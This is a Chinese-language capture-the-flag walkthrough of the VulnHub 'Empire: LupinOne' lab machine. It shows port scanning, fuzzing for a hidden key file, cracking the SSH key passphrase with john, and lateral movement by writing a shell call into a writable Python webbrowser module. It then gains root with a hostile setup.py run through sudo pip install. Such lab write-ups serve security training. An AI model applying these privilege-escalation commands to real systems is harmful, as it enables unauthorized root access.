vlunhub靶场之EMPIRE: LUPINONE

时间:2022-10-20 10:08:38

准备:

攻击机:虚拟机kali、本机win10。

靶机:EMPIRE: LUPINONE,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip,下载后直接Vbiox打开即可。

知识点:pip提权、fuzz爆破、base58解密、水平越权、john 工具的使用。

vlunhub靶场之EMPIRE: LUPINONE

信息收集:

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.0.11,显示开放了22、80端口,发现了robots.txt、/~myfile。

vlunhub靶场之EMPIRE: LUPINONE

访问下80端口、robots.txt、/~myfile并查看源代码信息,但是均未发现有效的信息。

vlunhub靶场之EMPIRE: LUPINONEvlunhub靶场之EMPIRE: LUPINONE

目录扫描:

使用dirmap进行目录扫描,常规的扫描未扫描出来啥信息,然后开启了fuzz扫描(需要在配置文件中开启fuzz模式,修改dirmap.config文件中的conf.fuzz_mode = 1),发现了~secret目录并进行访问找到了提示信息。

vlunhub靶场之EMPIRE: LUPINONE

vlunhub靶场之EMPIRE: LUPINONE

根据提示信息猜测账户名是icex64,并且告诉我们需要使用fasttrack破解他的密匙,猜测这里存在文件存放了密匙,这里采用ffuf进行扫描,命令:ffuf -u "http://192.168.1.4/~secret/FUZZ" -w /home/kali/Desktop/dict_mode_dict.txt -e .txt,.php,bak,html -mc 200,获取到.mysecret.txt文件。

vlunhub靶场之EMPIRE: LUPINONE

信息解密和爆破:

访问.mysecret.txt文件并对数据进行解密,直接在https://ntool.chinaz.com/tools/baseAll网站解密成功,获得密匙。

vlunhub靶场之EMPIRE: LUPINONE

将得到的密匙存放到upfine文件中,使用john生成密码本,命令:python2 /usr/share/john/ssh2john.py /home/kali/Desktop/upfine > passwd。

vlunhub靶场之EMPIRE: LUPINONE

然后在使用fasttrack进行密码的爆破,命令:john --wordlist=/usr/share/wordlists/fasttrack.txt passwd,获得密码:P@55w0rd!

vlunhub靶场之EMPIRE: LUPINONE

SSH登录:

需要赋予upfine文件600权限,否则会登陆失败,登录命令:ssh icex64@192.168.1.4 -i upfine,这里注意下尽量在kali上生成upfine文件,如果在win上生成在复制上去可能会登陆失败。

vlunhub靶场之EMPIRE: LUPINONE

赋予600权限:chmod 600 upfine,使用ssh icex64@192.168.1.4 -i upfine进行ssh登录,输入密码:P@55w0rd!即可登录成功。

vlunhub靶场之EMPIRE: LUPINONE

连接之后在目录下发现了user.txt,找到了第一个flag。

vlunhub靶场之EMPIRE: LUPINONE

水平越权:

查看下当前用户可以用 sudo 执行那些命令,发现了heist.py文件。

vlunhub靶场之EMPIRE: LUPINONE

查看下heist文件,发现通过webbrowser打开了一个连接,查找下webbrowser,但是很多显示没有权限,但是这里想到了sudo -l中一个python3.9,命令:find /usr -name *webbrowser*,发现webbrowser.py文件。

vlunhub靶场之EMPIRE: LUPINONEvlunhub靶场之EMPIRE: LUPINONE

查看该文件的权限,发现该文件具有root权限且当前用户具有编写权限,命令:ls -al /usr/lib/python3.9/webbrowser.py。

vlunhub靶场之EMPIRE: LUPINONE

因此在该文件中写入shell,代码:os.system("bin/bash")。

vlunhub靶场之EMPIRE: LUPINONE

然后再用 arsene 调用 /home/arsene/heist.py,获取arsene权限,命令:sudo -u arsene python3.9 /home/arsene/heist.py。

vlunhub靶场之EMPIRE: LUPINONE

提权:

查看下当前用户可以用 sudo 执行那些命令。

vlunhub靶场之EMPIRE: LUPINONE

发现了pip命令不需要root密码即可执行,那我们就用pip的root权限安装一个shell的程序,成功获取到 root 权限,查看 flag。

mkdir upfine
cd upfine
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > setup.py
sudo pip install .

 vlunhub靶场之EMPIRE: LUPINONEvlunhub靶场之EMPIRE: LUPINONE